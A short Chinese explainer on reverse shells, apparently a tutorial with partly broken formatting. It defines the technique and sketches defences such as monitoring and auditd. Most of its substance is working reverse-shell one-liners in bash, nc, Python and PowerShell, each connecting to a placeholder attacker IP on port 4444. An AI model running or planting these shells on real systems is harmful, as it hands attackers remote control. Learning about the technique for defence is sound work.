反弹Shell(Reverse Shell)是一种网络攻击技术,通常用于绕过防火墙或访问限制,使被控设备主动连接攻击者的设备,从而建立远程控制通道。与传统的“正向Shell”(攻击者主动连接目标)不同,反弹Shell由目标设备发起连接,更隐蔽且能绕过某些安全策略。
反向连接
目标设备(被攻击者)主动连接到攻击者控制的服务器(IP+端口),并将自身的Shell会话传递给攻击者。
绕过限制
bash
nc -lvnp 4444 # 监听4444端口
bash
bash -i >& /dev/tcp/攻击者IP/4444 0>&1 # Linux
或
nc 攻击者IP 4444 -e /bin/sh # 需支持-e参数的nc版本
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
powershell
$client = New-Object System.Net.Sockets.TCPClient("攻击者IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
网络层
主机层
/bin/sh
、bash -i
等敏感命令的调用。日志审计
auditd
或Windows的事件日志)。代码/输入过滤
总结:反弹Shell是一种隐蔽的远程控制技术,理解其原理有助于防御。实际使用需遵守法律法规,禁止未授权测试。